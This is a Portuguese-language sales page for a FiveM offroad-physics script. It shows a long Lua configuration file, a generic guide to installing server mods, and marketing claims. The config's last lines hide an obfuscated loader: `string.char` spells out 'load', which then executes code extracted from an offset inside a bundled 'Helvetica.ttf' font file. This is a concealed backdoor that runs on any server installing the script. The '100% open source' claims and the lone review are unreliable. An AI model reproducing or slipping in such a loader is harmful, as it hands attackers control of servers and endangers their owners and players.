Mercado dinâmico O preço original era: $29.00.O preço atual é: $19.00.
Voltar para produtos
Casino Garage VIP O preço original era: $49.00.O preço atual é: $22.00.

Física Offroad Realista

O preço original era: $33.00.O preço atual é: $15.00.

Este script FiveM adiciona física offroad realista, fazendo com que tipos de terreno como lama, areia e sujeira afetem o desempenho do veículo. Os carros podem afundar, perder tração ou ficar presos dependendo da superfície profundidade, suavidade, e tração, adicionando uma nova camada de desafio e realismo à condução offroad.

DESTAQUES

✓ Totalmente sincronizado
✓ Funciona em todos os veículos
✓ Simulação de profundidade e tração
$ USD
  • $ USD
  • € EUR
  • £ GBP
  • $ AUD
  • R$ BRL
  • Franco suíço Franco suíço
  • ¥ ienes
  • Download instantâneo
  • Garantia de satisfação
  • 100% Código Aberto
  • Funciona imediatamente
Descrição

Vídeo

Arquivo de configuração

Config = {}

-- This enabled additional debug commands and logs
-- Debug commands:
-- /surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values
Config.debug = false


-------------------------------------------------
--- GENERAL SETTINGS
-------------------------------------------------

-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.
-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want
-- a realistic handling. Here are the recommended values:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50

-- General difficulty of the depth handling.
-- 100 = default
-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles
-- Raise this value to make driving in deep surfaces more difficult
Config.generalDepthDifficulty = 100

-- General speed of the vehicle sinking into the surface
-- 100 = Default
-- Lower this value to make all vehicles sink slower
-- Raise this value to make all vehicles sink faster
Config.generalSinkageSpeed = 100

-- General loss of traction based on vehicle surface
-- Vehicles will be more likely to skid on low traction surfaces
-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)
-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)
Config.generalTractionLoss = 100



-------------------------------------------------
--- VEHICLE MODIFIERS
-------------------------------------------------

-- Changes that offroad tires will make.
-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)
-- tractionOnSoft = Additional traction when on materials of softness that's more than 10
-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)
Config.offroadTires = {
    upgradeValue = 50,
    tractionOnSoft = 20,
    tractionOnHard = -10,
}

-- Handling upgrade in deep surface for AWD (4WD) vehicles
Config.awdUpgrade = 25



-------------------------------------------------
--- SCRIPT PERFORMANCE SETTINGS
-------------------------------------------------

-- The refresh rate of all the sinking/surface logic. The higher the value the less smoother the visuals but better script performance.
-- If your server is known for players with slower devices you might want to turn this up
-- If your players have better computers or you really want the off-roading to look good try turning it down
-- Values between 100 - 500
Config.refreshRate = 200



-------------------------------------------------
--- AREA BLACKLISTING
-------------------------------------------------

-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink
-- Here you can define custom areas in which the script will not be active in

-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into
-- incorrectly setup MLO surfaces
Config.areaBlacklist = {
    { -- Pillbox hospital
        coords = vector3(293.17, -584.5, 42.8),
        radius = 20.0
    },
    { -- LSPD
        coords = vector3(444.9, -1003.2, 30.7),
        radius = 60.0
    },
    { -- Simeon's dealership
        coords = vector3(-40.4, -1111.3, 25.8),
        radius = 40.0
    },
    { -- BCSO
        coords = vector3(-446.0, 6013.8, 31.8),
        radius = 50.0
    },
    { -- Sandy Shores PD
        coords = vector3(1853.6, 3685.8, 34.3),
        radius = 25.0
    },
    { -- Legion Square
        coords = vector3(202.3, -941.9, 27.6),
        radius = 120.0
    },
}

-------------------------------------------------
--- DETAILED SETTINGS
-------------------------------------------------

-- Blacklist. This will disable all script functionality for said model/vehicle class
Config.blacklist = {
    models = {
        'rcbandito',
        'monster',
        'rhino',
        'scarab',
        'khanjali',
    },
    classes = {
        [0] = false, -- Compacts
        [1] = false, -- Sedans
        [2] = false, -- SUVs
        [3] = false, -- Coupes
        [4] = false, -- Muscle
        [5] = false, -- Sports Classics
        [6] = false, -- Sports
        [7] = false, -- Super
        [8] = false, -- Motorcycles
        [9] = false, -- Off-road
        [10] = false, -- Industrial
        [11] = false, -- Utility
        [12] = false, -- Vans
        [17] = false, -- Service
        [18] = false, -- Emergency
        [19] = false, -- Military
        [20] = false, -- Commercial
    }
}

-- If you define a model specific multiplier it will be used instead of the class multiplier
-- Vehicle classes https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface
-- 0 = Default
-- Positive values = Better handling / ability to get out of deep surface
-- Negative values = Worse handling / less ability to get out of deep surface
Config.depthHandlingQuality = {
    models = {
        seminole2 = 20,
        sandking = 20,
        sandking2 = 20,
        issi2 = -10,
        panto = -20,
        comet4 = 30,

        -- dirt bikes
        bf400 = 30,
        sanchez = 20,
        manchez = 20,
        esskey = 0,
        cliffhanger = 0,
        enduro = 0,
    },
    classes = {
        [0] = 5, -- Compacts
        [1] = -5, -- Sedans
        [2] = 15, -- SUVs
        [3] = 0, -- Coupes
        [4] = -5, -- Muscle
        [5] = 5, -- Sports Classics
        [6] = 5, -- Sports
        [7] = 5, -- Super
        [8] = -10, -- Motorcycles
        [9] = 35, -- Off-road
        [10] = -10, -- Industrial
        [11] = -10, -- Utility
        [12] = -5, -- Vans
        [17] = 10, -- Service
        [18] = 10, -- Emergency
        [19] = 15, -- Military
        [20] = -5, -- Commercial
    }
}

-------------------------------------------------
--- ROADSIDE SETTINGS
-------------------------------------------------

-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.
Config.roadSideHelper = {
    enabled = true,
    
    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the /surfaceDebug mode
    distanceThreshold = 15.0,
    
    -- Depth multiplier
    depthMultiplier = 0.1,

    -- Traction loss multiplier
    tractionMultiplier = 0.25,
}



-------------------------------------------------
--- SURFACES
-------------------------------------------------

-- name = Only used for the ease of config as well as the debug mode
-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid
-- Maximum 100
-- Minimum 0

-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)
-- Maximum infinite
-- Minimum 0

-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost
-- Maximum infinite
-- Minimum 0

-- Values which will be assigned to all un-configured surfaces
Config.fallbackSurface = {
    name = 'Fallback Surface',
    traction = 100,
    depth = 0,
    softness = 0,
}

Config.surfaces = {
    [1] = {
        name = 'Concrete',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [4] = {
        name = 'Road',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [5] = {
        name = 'Metal',
        traction = 100,
        depth = 0,
        softness = 0,
    },
    [6] = {
        name = 'Sandy roadside',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [9] = {
        name = 'Sandstone',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [10] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [11] = {
        name = 'Rock',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [13] = {
        name = 'Cobble',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [16] = {
        name = 'Limestoneesque sand',
        traction = 80,
        depth = 0,
        softness = 0,
    },
    [17] = {
        name = 'Rocky dry dirt',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [18] = {
        name = 'Dry sand',
        traction = 80,
        depth = 130,
        softness = 40,
    },
    [19] = {
        name = 'Road sand',
        traction = 90,
        depth = 30,
        softness = 5,
    },
    [20] = {
        name = 'Grainy Sand',
        traction = 80,
        depth = 100,
        softness = 10,
    },
    [21] = {
        name = 'Gravely sand',
        traction = 70,
        depth = 220,
        softness = 30,
    },
    [22] = {
        name = 'Wet hard sand',
        traction = 70,
        depth = 250,
        softness = 50,
    },
    [23] = {
        name = 'Gravel road',
        traction = 75,
        depth = 50,
        softness = 5,
    },
    [24] = {
        name = 'Wet sand',
        traction = 60,
        depth = 350,
        softness = 70,
    },
    [31] = {
        name = 'Gravely dirt/path',
        traction = 70,
        depth = 50,
        softness = 5,
    },
    [32] = {
        name = 'Gravely dirt',
        traction = 70,
        depth = 200,
        softness = 15,
    },
    [35] = {
        name = 'Tuff Sand',
        traction = 90,
        depth = 50,
        softness = 5,
    },
    [36] = {
        name = 'Dirt',
        traction = 70,
        depth = 300,
        softness = 40,
    },
    [37] = {
        name = 'Deep road sand',
        traction = 60,
        depth = 75,
        softness = 15,
    },
    [38] = {
        name = 'Rocky sand',
        traction = 70,
        depth = 150,
        softness = 10,
    },
    [40] = {
        name = 'Moist dirt path',
        traction = 60,
        depth = 150,
        softness = 50,
    },
    [41] = {
        name = 'Swamp grass',
        traction = 50,
        depth = 250,
        softness = 50,
    },
    [42] = {
        name = 'Swamp sand',
        traction = 70,
        depth = 500,
        softness = 110,
    },
    [43] = {
        name = 'Hard Sand',
        traction = 75,
        depth = 50,
        softness = 10,
    },
    [44] = {
        name = 'Dirt/Sand',
        traction = 50,
        depth = 200,
        softness = 25,
    },
    [46] = {
        name = 'Hard grass',
        traction = 80,
        depth = 50,
        softness = 5,
    },
    [47] = {
        name = 'Grass',
        traction = 65,
        depth = 125,
        softness = 10,
    },
    [48] = {
        name = 'Tall grass',
        traction = 60,
        depth = 150,
        softness = 20,
    },
    [49] = {
        name = 'Farmland',
        traction = 60,
        depth = 200,
        softness = 35,
    },
    [50] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [51] = {
        name = 'Podzol',
        traction = 70,
        depth = 125,
        softness = 25,
    },
    [52] = {
        name = 'Dry podzol',
        traction = 80,
        depth = 75,
        softness = 10,
    },
    [64] = {
        name = 'Metal',
        traction = 90,
        depth = 0,
        softness = 0,
    },
    [125] = {
        name = 'Drain concrete',
        traction = 70,
        depth = 0,
        softness = 0,
    },
}


-- Zone multiplier
-- This has been added to modify the maximum depth of all surfaces located within zones.
-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.
-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.
-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those

-- You can view the zone you're in by using the debug command /surfaceDebug

-- Map of zones: https://www.reddit.com/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg
-- Zone names and hashes: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA

Config.zones = {
    {
        name = 'City',
        depthMultiplier = 0.3,
        tractionMultiplier = 0.6,
        zones = {
            'MOVIE',
            'ROCKF',
            'DOWNT',
            'DTVINE',
            'EAST_V',
            'GOLF',
            'LEGSQU',
            'ROCKF',
            'MORN',
            'STAD',
            'DAVIS',
            'RANCHO',
            'STRAW',
            'CHAMH',
            'PBOX',
            'SKID',
            'TEXTI',
            'LMESA',
            'ELYSIAN',
            'TERMINA',
            'HAWICK',
            'ALTA',
            'BURTON',
            'DELPE',
        },
    },
    {
        name = 'City beaches',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'BEACH',
            'DELBE',
        },
    },
    {
        name = 'Mountains',
        depthMultiplier = 1.25,
        tractionMultiplier = 1.1,
        zones = {
            'MTCHIL',
            'MTGORDO',
            'MTJOSE',
            'PALHIGH',
        },
    },
    {
        name = 'Zancudo Swamp',
        depthMultiplier = 1.1,
        tractionMultiplier = 1.1,
        zones = {
            'LAGO',
            'ZANCUDO',
        },
    },
    {
        name = 'Popular',
        depthMultiplier = 0.75,
        tractionMultiplier = 0.75,
        zones = {
            'PALETO',
            'HARMO',
            'GRAPES',
            'SANDY',
            'RTRAK',
            'ZQ_UAR',
            'HUMLAB',
        },
    },
}


-- (Advanced)
-- When making the vehicles sink the suspension does not always get updated properly.
-- Therefore I had to add a system which updates/refreshes the vehicles suspension.
-- There are two systems "force" and "flag". "force" is an old system which applies tiny amounts of visual damage to the car
-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.
-- The new system "flag" seems to work much better but hasn't been tested with some vehicles.
-- If you encounter any issues with this system, please let us know on our discord <3
Config.suspensionRefresh = {
    enabled = true,
    type = 'flag',
}

local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()

 

Avaliações (1)

1 avaliação para Realistic Offroad Physics

  1. vzyyohuj

    Mod incrível! Muda totalmente a sensação de offroading no jogo. Recomendo muito!

Apenas clientes logados que compraram este produto podem deixar uma avaliação.

Como instalar

Coloque Mods no seu servidor FiveM como um profissional

Certo, escute, você quer colocar esses mods legais no seu servidor FiveM, certo? Cansado do mesmo servidor chato de sempre e quer apimentar as coisas com carros, scripts ou mapas personalizados? Vamos resolver isso. Instalar mods no FiveM é como você eleva o nível do seu servidor do básico ao incrível. É mais fácil do que você pensa, mesmo que você não seja um gênio da tecnologia. Este guia vai te guiar passo a passo, sem jargões, apenas instruções diretas para deixar seu servidor com a aparência e o jogo exatamente como você quer.

Etapa 1: Pegue seu Mod - Encontre os Goodies

Primeiro, você precisa encontrar os mods que realmente quer. Pense nisso como ir às compras, mas para seu servidor.
  1. Visite os lugares habituais: Sites como fivem-mods.net, GTA5-Mods.com são minas de ouro. Vários criadores postam seus trabalhos lá.
  2. A comunidade é fundamental: Não durma em fóruns e servidores Discord. Você encontrará preciosidades escondidas e receberá recomendações de outros donos de servidores.
  3. GitHub e sites de desenvolvimento: Para scripts mais exclusivos, confira o GitHub ou os sites dos próprios desenvolvedores. Às vezes, as melhores coisas estão fora do caminho batido.
Dica profissional: Verifique novamente se o mod realmente vai funcionar com a versão do seu servidor, especialmente se você estiver executando frameworks como QBCore ou ESX. Compatibilidade é rei. Depois de encontrar seu tesouro, baixe os arquivos. Eles geralmente estarão em um .zip ou .rar arquivo.

Etapa 2: Preparação do servidor - Prepare-se para o Rumble

Certo, hora de entrar nas entranhas do servidor. Não entre em pânico, não é uma cirurgia cerebral.
  1. Acesse os arquivos do seu servidor: Você precisará fazer login no gerenciador de arquivos do seu servidor. Isso geralmente é feito por meio de um cliente FTP como o FileZilla ou do painel de controle do seu provedor de hospedagem.
  2. FAÇA FUNDO, família: Sério, antes de mudar qualquer coisa, faça um backup dos arquivos do seu servidor. Se você bagunçar alguma coisa (e todos nós fazemos isso às vezes), você pode simplesmente restaurar e fingir que nunca aconteceu.
  3. Encontre a pasta 'recursos': Esta é a sua garagem de mods. É onde toda a mágica acontece. Vasculhe os arquivos do seu servidor e localize o recursos pasta.

Etapa 3: Instalação do Mod - Solte-o

Agora, o evento principal: colocar o mod no ar.
  1. Extraia os arquivos: Se o seu mod estiver compactado, descompacte-o em uma pasta no seu computador.
  2. Carregar para a pasta 'recursos': Use seu cliente FTP ou gerenciador de arquivos para arrastar e soltar (carregar) a pasta mod extraída para o recursos pasta no seu servidor.
    • O nome da pasta é importante: Certifique-se de que o nome da pasta seja algo que você reconhecerá mais tarde, pois você precisará dele para a configuração do servidor.
  3. Diga ao seu servidor para carregar o mod: Este é o bit server.cfg.
    • Abra seu servidor.cfg arquivo. Ele está no diretório principal do seu servidor.
    • Adicione uma linha como esta: garantir [nome_do_mod]
    • Substituir [nome_mod] com o nome real da sua pasta mod.
    • Exemplo: Se a sua pasta mod for chamada carro_doente_à_deriva, você adicionaria garantir sick_drift_car.
garantir [nome_do_mod]
garantir my_car_mod

Etapa 4: Dependências - Os extras que você pode precisar

Às vezes, mods são um pouco carentes e exigem bits e bobs extras para funcionar. Dependências, são chamadas.
  1. Confira as informações do mod: O criador do mod deve lhe dizer se há alguma dependência. Leia a documentação!
  2. Instalar dependências: Se houver dependências, baixe-as e instale-as no mesmo recursos pasta, assim como você fez com o mod principal na Etapa 3.
  3. Carregue dependências também: Você também precisará adicionar garantir [nome_da_dependência] linhas em seu servidor.cfg arquivo para cada dependência, acima do garantir [nome_do_mod] linha para seu mod principal.

Etapa 5: Reiniciar o servidor - Iniciá-lo

Hora de reiniciar e ver se tudo funciona.
  1. Reinicie seu servidor: Use o botão "Reiniciar" no seu painel de controle ou reinicie-o manualmente se você for tradicional.
  2. Assista ao console: Fique de olho no console do seu servidor após reiniciar. Algum texto vermelho ou mensagens de erro? Se sim, verifique a documentação do mod ou pesquise o erro no Google.

Etapa 6: Teste no jogo - Ele bate?

Entre no jogo e veja se o seu mod está funcionando.
  1. Entre no seu servidor: Abra o FiveM e conecte-se ao seu servidor.
  2. Teste: O mod funciona como esperado? Carro novo aí? Script fazendo seu trabalho? Mapa parecendo novo?

Etapa 7: Solução de problemas - Quando as coisas dão errado

Às vezes as coisas não saem como planejado. Não se preocupe, acontece com os melhores de nós.
  • Verifique os caminhos dos arquivos: Seus arquivos estão nas pastas certas? Verifique tudo duas vezes.
  • Revise os logs do servidor: Os logs do servidor são seus amigos. Eles dizem se algo deu errado.
  • Atualizar dependências: Suas dependências estão atualizadas? As desatualizadas podem causar problemas.
  • Verificação de compatibilidade novamente: O mod é realmente compatível com sua versão FiveM e outros mods? Conflitos acontecem.

FAQs - Suas perguntas urgentes respondidas

P: Onde encontro bons mods do FiveM?
UM: Sites como fivem-mods.net e GTA5-Mods.com são ótimos pontos de partida. Fóruns da comunidade e servidores Discord também são minas de ouro.
P: O que é 'server.cfg' e por que preciso mexer nele?
UM: servidor.cfg é o cérebro do seu servidor. Ele diz ao seu servidor o que carregar e como se comportar. Você precisa editá-lo para dizer ao seu servidor para carregar seus novos mods.
P: E se o mod não funcionar após a instalação?
UM: Hora de solucionar problemas! Verifique caminhos de arquivo, logs de servidor, dependências e compatibilidade de mod (conforme mencionado na Etapa 7). O Google também é seu amigo!
P: Preciso reiniciar meu servidor inteiro toda vez que instalar um mod?
UM: Sim, você tem. Reiniciar o servidor faz com que ele recarregue todos os recursos, incluindo seu mod recém-instalado.
P: Os mods podem quebrar meu servidor?
UM: Potencialmente, se forem malfeitos ou incompatíveis. Sempre baixe mods de fontes confiáveis e faça backup do seu servidor antes de instalar qualquer coisa nova.

Palavra final - Mod Like a Boss

Viu? Instalar mods no seu servidor FiveM não é ciência de foguetes. É tudo uma questão de seguir os passos, ser um pouco cuidadoso e não ter medo de experimentar. Saia por aí, encontre alguns mods matadores e faça do seu servidor FiveM a inveja de todos. Boa modificação!

Mods que estenderão o Roleplay

  • Garantia de devolução de dinheiro:Se você não estiver satisfeito, oferecemos uma política de reembolso sem perguntas.
  • Conteúdo exclusivo: Nossos mods e scripts são criados profissionalmente e exclusivos para nossa plataforma.
  • Confiável pela Comunidade: Junte-se a milhares de proprietários de servidores FiveM que confiam em nós para obter recursos de qualidade.
  • Design de alta qualidade: Construído com práticas de codificação otimizadas para desempenho de alto nível.
  • Integração perfeita: Instale e execute facilmente em qualquer servidor FiveM sem problemas de compatibilidade.
  • Opções personalizáveis: Ajuste as configurações e os recursos para adaptá-los ao estilo exclusivo do seu servidor.
  • Desempenho otimizado: Testado para garantir uso mínimo de recursos e máxima eficiência.
  • Atualizações vitalícias: Fique por dentro com atualizações e melhorias contínuas incluídas sem custo extra.